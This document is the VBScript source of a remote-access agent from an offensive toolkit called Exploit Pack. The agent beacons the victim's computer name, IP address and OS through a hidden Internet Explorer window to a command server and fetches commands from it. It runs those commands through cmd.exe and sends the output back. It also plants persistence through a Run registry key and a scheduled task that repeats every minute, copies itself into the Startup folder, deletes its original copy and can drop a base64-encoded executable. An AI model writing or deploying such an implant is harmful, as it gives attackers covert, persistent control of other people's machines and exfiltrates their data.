Agent-VBS

'Exploit Pack VBS Agent code + Web IE Object - Juan Sacco <[email protected]>
'Copyright: Juan Sacco - 2019
' Redistribution and use in source and binary forms, with or without
' modification, are permitted provided that the following conditions are met:
'
' 1. Redistributions of source code must retain the above copyright notice, this
'    list of conditions and the following disclaimer.
' 2. Redistributions in binary form must reproduce the above copyright notice,
'    this list of conditions and the following disclaimer in the documentation
'     and/or other materials provided with the distribution.
'
' THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
' ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
' WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
' DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
' ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
' (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
' LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
' ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
' (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
' SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE

'Define basic variables

'Const INSTALL_LOCATION = "%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\"
'Const RUN_AFTER_INSTALL = True
'If ScriptLocation <> GetInstallLocation Then
'    InstallScript RUN_AFTER_INSTALL
'End If 


Set wshNetwork = CreateObject( "WScript.Network" )
AgentUN = "jsacco"
urlServer = "http://127.0.0.1:8000/agent/&"
remoteIPService = "http://checkip.amazonaws.com/&"
CookieID = wshNetwork.ComputerName
runThis = ""
sendHostUrl = GetIPAddress
sendOSType = GetOS

MyCurrentIP = GetRemoteIP
'CreateTask
'Persistence
SendMagic CookieID,sendHostUrl,"Internet Explorer",sendOSType,"Waiting for commands..",AgentUN, GetIPAddress

' Commands TODO!
If Instr(runThis, "example") = 1 Then
End if

' Run if not empty
If Not Len(runThis) = 1 Then
	Command(runThis)
End If

' Connect back to Exploit Pack
Function SendMagic(CookieID,sendHostUrl,SendBrowserName,sendOSType,ResponseData,AgentUN,MyCurrentIP)
	On Error Resume Next
	Set Magic = CreateObject("InternetExplorer.Application")
	Magic.visible = 0
	'Magic.navigate urlServer & CookieID & "&" & sendHostUrl & "&" & SendBrowserName & "&" & sendOSType & "&" & ResponseData & "&1&" & AgentUN & "&" & MyCurrentIP
	Magic.navigate urlServer & Base64Encode(CookieID & "&" & sendHostUrl & "&" & SendBrowserName & "&" & sendOSType & "&" & ResponseData & "&1&" & AgentUN & "&" & MyCurrentIP, false)

	Do While Magic.Busy
	   WScript.Sleep 100  ' Prevents script host from going crazy waiting for IE
	   Exit Do                  
	Loop
	HTTPGet = Magic.document.documentelement.outerhtml
	Magic.quit
	' Call CleanInput to obtain the commands to run
	runThis = CleanInput(HTTPGet)
	Set Magic = Nothing
	On Error Goto 0 
	'MsgBox(urlServer+Base64Encode(CookieID & "&" & sendHostUrl & "&" & SendBrowserName & "&" & sendOSType & "&" & ResponseData & "&1&" & AgentUN & "&" & MyCurrentIP, true))
	'MsgBox(urlServer+ CookieID & "&" & sendHostUrl & "&" & SendBrowserName & "&" & sendOSType & "&" & ResponseData & "&1&" & AgentUN & "&" & MyCurrentIP)
End Function

Function Command(run)
	' Clean command because html
	run = Replace(run,"&gt;", ">")
	
	Err.Clear
	On Error Resume Next
	Set oShell = CreateObject ("WScript.Shell")
	'WScript.Echo run
	Dim objShell, strPath1
	strPath1 = "cmd.exe /c " & run & " > %appdata%\output.log"
	oShell.run strPath1,2,true	
	
	
	Set wshShell = CreateObject("WScript.Shell")

	output = wshShell.ExpandEnvironmentStrings("%APPDATA%") & "\output.log"
	Set fso = CreateObject("Scripting.FileSystemObject")
	Set f = fso.OpenTextFile(output)

	Do Until f.AtEndOfStream
	      SendMagic CookieID,sendHostUrl,"Internet Explorer",sendOSType,f.ReadLine,AgentUN, GetIPAddress
	Loop

	f.Close
	
    SendMagic CookieID,sendHostUrl,"Internet Explorer",sendOSType,strText,AgentUN, GetIPAddress

	If Err.Number <> 0 Then
		'Dont show errors
	End If
			 SendMagic CookieID,sendHostUrl,"Internet Explorer",sendOSType,"Command executed",AgentUN, GetIPAddress
End Function

Function CleanInput(HTTPGet)
	arrLines = Split(HTTPGet, "//")
    For Each strLine In arrLines
    	If InStr(strLine, "OS=") Then
			StrClean = strLine
    	End If
    Next
    arrLineFix = Split(StrClean, "</body></html>" )
    For Each strClean In arrLineFix
     	If InStr(strClean, "") Then
			arrCleanFix = strClean
	End If
    Next
    arrReturn = Split(arrCleanFix, "------------------------------------------------------------" )
    For Each strReturn In arrReturn
     	If InStr(strReturn, "") Then
			StrFinalFix = strReturn		
	End If
    Next
    arrFinalFix = Split(StrFinalFix, "OS=" )
    For Each strFinal In arrFinalFix
     	If InStr(strFinal, "") Then
			Output = strFinal		
	End If
    Next
    CleanInput = Output
End Function

' Get local IP address 
Function GetIPAddress()
	On Error Resume Next
	strComputer = "."
	Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\CIMV2")
	Set colItems = objWMIService.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration")

	For Each objItem In colItems
	For Each objValue In objItem.IPAddress
	If objValue <> "" Then
		GetIPAddress = objValue
		Exit for
	End If
	Next 	
	Next
End Function

'Self destruct this agent
Function SelfDestruct()
	Set objFSO = CreateObject( "Scripting.FileSystemObject" )
	objFSO.DeleteFile WScript.ScriptFullName
	WScript.Quit
End Function

Function Persistence()
	const HKEY_LOCAL_MACHINE = &H80000001
	strComputer = "."
	Set objReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\"&_ 
		strComputer & "\root\default:StdRegProv")

	strKeyPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"
	KeyPath = "Software\Microsoft\Windows\CurrentVersion\Run\"
	strValueName = "ExploitPack"
	strValue = "%WINDIR%\system32\wscript.exe ""%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\exploitpack.vbs"" ""%1"" %*"


	Return = objReg.CreateKey(HKEY_LOCAL_MACHINE, KeyPath)
	If (Return = 0) And (Err.Number = 0) Then   

		' Write string value to key    
		Return = objReg.SetExpandedStringValue( _
			HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue)
	End If
End Function

' Get OS version
Function GetOS()
	Dim objWMI
	Set objWMI=GetObject("winmgmts://" & "." ).InstancesOf("win32_operatingsystem")
	For Each OS In objWMI
	  GetOS=OS.Caption
	Next
End Function

'Install the script
Sub InstallScript(p_bRunAfterInstall)
    'Initialise
    Dim objFSO, objShell
    Set objFSO = CreateObject("Scripting.FileSystemObject")
    Set objShell = Wscript.CreateObject("WScript.Shell")
     
    'If the install directory does not exist, create it (using a call out to the DOS command MKDIR
    If Not objFSO.FolderExists(GetInstallLocation) Then ExecCmd "mkdir """ & GetInstallLocation & """"
 
    'Copy the new script file into the install directory
    objFSO.CopyFile WScript.ScriptFullName, GetInstallLocation, true
     
    'Give the OS some time to copy if it is a bit laggy - seen occasional issues here
    Dim intCounter
    Const WAIT_MS = 100
    Const MAXTIME_MS = 4000
    intCounter = 0
    Do While Not(objFSO.FileExists(InstalledScriptPath) OR  intCounter > (MAXTIME_MS/WAIT_MS))
        WScript.Sleep WAIT_MS
        intCounter = intCounter + 1
    Loop
    'If the script wasn't copied output an error message, otherwise run if required.
    If objFSO.FileExists(InstalledScriptPath) Then
        If p_bRunAfterInstall then objShell.Run """" & InstalledScriptPath & """"
        SelfDestruct
    Else
        MsgBox "Installation timed out.", vbCritical, "Installation"
    End If
End Sub
 
 
'Execute a DOS command
Sub ExecCmd(p_strDOSCmd)
    Dim objCommand
    Set objCommand = New clsDOSCommandExecutor
  
    objCommand.ExecuteCommand(p_strDOSCmd)
End Sub
 
 
'Return the directory the script is in
Function ScriptLocation()
    ScriptLocation = Replace(WScript.ScriptFullName, WScript.ScriptName, "")
End Function
 
 
'Return the full path to the installed script
Function InstalledScriptPath()
    InstalledScriptPath = GetInstallLocation & WScript.ScriptName
End Function
 
 
'Return the installation directory with environment variables expanded
Function GetInstallLocation()
    GetInstallLocation = SubstituteEnvironmentVariables(INSTALL_LOCATION)
End Function
 
 
'Replace environment variables in a string (delimited by %'s) with the expanded values
Function SubstituteEnvironmentVariables(p_strInput)
    Dim objShell
    Dim astrInput, intItem
    Set objShell = Wscript.CreateObject("WScript.Shell")
     
    'Tokenise the input on percentages and initialise the return string
    astrInput = Split(p_strInput, "%")
    SubstituteEnvironmentVariables = ""
     
    'Work through the elements and carry out any substitutions
    For intItem = 0 to (UBound(astrInput))
        'If we're on an odd item it must be an environment variable
        If IsOdd(intItem) Then
            'Expand the environment variable
            SubstituteEnvironmentVariables = SubstituteEnvironmentVariables & objShell.ExpandEnvironmentStrings("%" & astrInput(intItem) & "%")
        Else
            SubstituteEnvironmentVariables = SubstituteEnvironmentVariables & astrInput(intItem)
        End If
    next
End Function
 
'Determine if a number is odd
Function IsOdd(p_intValue)
    'Set default
    IsOdd = false
     
    'Now check if there's a remainder from modulo 2
    If p_intValue mod 2 = 1 Then IsOdd = true
End Function
 
Class clsDOSCommandExecutor
    Dim objShell, objExec
    Dim strCommand
    Dim strError
    Dim objError
    Dim objOutput
    Dim strOutput
  
    Sub ExecuteCommand(p_strCommand)
        strCommand = "cmd /E:ON /c " & p_strCommand
        Set objShell = CreateObject("Wscript.Shell" )
  
        objShell.Exec(strCommand)
  
        Set objExec = objShell.Exec(strCommand)
  
        Do Until objExec.Status
            Wscript.Sleep 200
        Loop
  
        Set objError = objExec.StdErr
        strError = objError.ReadAll
  
        Set objOutput = objExec.stdOut
        strOutput = objOutput.ReadAll
    End Sub
  
    Function GetOutput()
        GetOutput = strOutput
    End Function
  
    Function GetError()
        GetError = strError
    End Function
  
    Function Failed()
        If strError = "" Then
            Failed = false
        Else
            Failed = true
        End If
    End Function
End Class

Function CreateTask()
	' A constant that specifies a daily trigger.
	const TriggerTypeDaily = 2
	' A constant that specifies an executable action.
	const ActionTypeExec = 0

	' Create the TaskService object.
	Set service = CreateObject("Schedule.Service")
	call service.Connect()

	' Get a folder to create a task definition in. 
	Dim rootFolder
	Set rootFolder = service.GetFolder("\")

	' The taskDefinition variable is the TaskDefinition object.
	Dim taskDefinition
	' The flags parameter is 0 because it is not supported.
	Set taskDefinition = service.NewTask(0) 

	' Set the registration info for the task by 
	' creating the RegistrationInfo object.
	Dim regInfo
	Set regInfo = taskDefinition.RegistrationInfo
	regInfo.Description = "Start Exploit Pack Remote Agent"
	regInfo.Author = "Juan Sacco"

	' Set the task setting info for the Task Scheduler by
	' creating a TaskSettings object.
	Dim settings
	Set settings = taskDefinition.Settings
	settings.Enabled = True
	settings.StartWhenAvailable = True
	settings.Hidden = False

	' Create a daily trigger. Note that the start boundary 
	' specifies the time of day that the task starts and the 
	' interval specifies what days the task is run.
	Dim triggers
	Set triggers = taskDefinition.Triggers

	Dim trigger
	Set trigger = triggers.Create(TriggerTypeDaily)

	' Trigger variables that define when the trigger is active 
	' and the time of day that the task is run. The format of 
	' this time is YYYY-MM-DDTHH:MM:SS
	Dim startTime, endTime

	Dim time
	time = DateAdd("s", 10, Now)  'start time = 10 seconds from now
	startTime = XmlTime(time)
	endTime = "2029-12-01T08:00:00" 'end date Terminator - Skynet arrives

	trigger.StartBoundary = startTime
	trigger.EndBoundary = endTime
	trigger.DaysInterval = 1    'Task runs every day.
	trigger.Id = "DailyTriggerId"
	trigger.Enabled = True

	' Set the task repetition pattern for the task.
	' This will repeat the task every 1 minute indefinitely
	Dim repetitionPattern
	Set repetitionPattern = trigger.Repetition
	repetitionPattern.Interval = "PT1M"

	' Create the action for the task to execute.

	' Add an action to the task to run notepad.exe.
	Dim Action
	Set Action = taskDefinition.Actions.Create( ActionTypeExec )
	Action.Path = "%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\exploitpack.vbs"
	
	' Register (create) the task.
	call rootFolder.RegisterTaskDefinition( _
		"Exploit Pack - Agent", taskDefinition, 6, , , 3)
End Function

Function XmlTime(t)
    Dim cSecond, cMinute, CHour, cDay, cMonth, cYear
    Dim tTime, tDate

    cSecond = "0" & Second(t)
    cMinute = "0" & Minute(t)
    cHour = "0" & Hour(t)
    cDay = "0" & Day(t)
    cMonth = "0" & Month(t)
    cYear = Year(t)

    tTime = Right(cHour, 2) & ":" & Right(cMinute, 2) & _
        ":" & Right(cSecond, 2)
    tDate = cYear & "-" & Right(cMonth, 2) & "-" & Right(cDay, 2)
    XmlTime = tDate & "T" & tTime 
End Function

private function binaryDump(file)  
  Dim base64Encoded, base64Decoded, outByteArray, outFile
  outFile = "new_" & "exploitpack.exe"
  ' base64Encoded contains CMD.exe ( 32bits ) ( replace it with your own binary! )
  base64Encoded = file
  base64Decoded = decodeBase64(base64Encoded)
  writeBytes outFile, base64Decoded
End function

private function decodeBase64(base64)
  dim DM, EL
  Set DM = CreateObject("Microsoft.XMLDOM")
  ' Create temporary node with Base64 data type
  Set EL = DM.createElement("tmp")
  EL.DataType = "bin.base64"
  ' Set encoded String, get bytes
  EL.Text = base64
  decodeBase64 = EL.NodeTypedValue
end function

Function Base64Encode(ByVal sText, ByVal fAsUtf16LE)

    ' Use an aux. XML document with a Base64-encoded element.
    ' Assigning the byte stream (array) returned by StrToBytes() to .NodeTypedValue
    ' automatically performs Base64-encoding, whose result can then be accessed
    ' as the element's text.
    With CreateObject("Msxml2.DOMDocument").CreateElement("aux")
        .DataType = "bin.base64"
        if fAsUtf16LE then
            .NodeTypedValue = StrToBytes(sText, "utf-16le", 2)
        else
            .NodeTypedValue = StrToBytes(sText, "utf-8", 3)
        end if
        Base64Encode = .Text
    End With

End Function

function StrToBytes(ByVal sText, ByVal sTextEncoding, ByVal iBomByteCount)

    ' Create a text string with the specified encoding and then
    ' get its binary (byte array) representation.
    With CreateObject("ADODB.Stream")
        ' Create a stream with the specified text encoding...
        .Type = 2  ' adTypeText
        .Charset = sTextEncoding
        .Open
        .WriteText sText
        ' ... and convert it to a binary stream to get a byte-array 
        ' representation.
        .Position = 0 
        .Type = 1  ' adTypeBinary
        .Position = iBomByteCount ' skip the BOM
        StrToBytes = .Read
        .Close
    End With 

end function

function BytesToStr(ByVal byteArray, ByVal sTextEncoding)

    If LCase(sTextEncoding) = "utf-16le" then
        ' UTF-16 LE happens to be VBScript's internal encoding, so we can
        ' take a shortcut and use CStr() to directly convert the byte array
        ' to a string.
        BytesToStr = CStr(byteArray)
    Else ' Convert the specified text encoding to a VBScript string.
        ' Create a binary stream and copy the input byte array to it.
        With CreateObject("ADODB.Stream")
            .Type = 1 ' adTypeBinary
            .Open
            .Write byteArray
            ' Now change the type to text, set the encoding, and output the 
            ' result as text.
            .Position = 0
            .Type = 2 ' adTypeText
            .CharSet = sTextEncoding
            BytesToStr = .ReadText
            .Close
        End With
    End If

end function


private Sub writeBytes(file, bytes)
  Dim binaryStream
  Set binaryStream = CreateObject("ADODB.Stream")
  binaryStream.Type = 1
  'Open the stream and write binary data
  binaryStream.Open
  binaryStream.Write bytes
  'Save binary data to disk
  binaryStream.SaveToFile file, 2
End Sub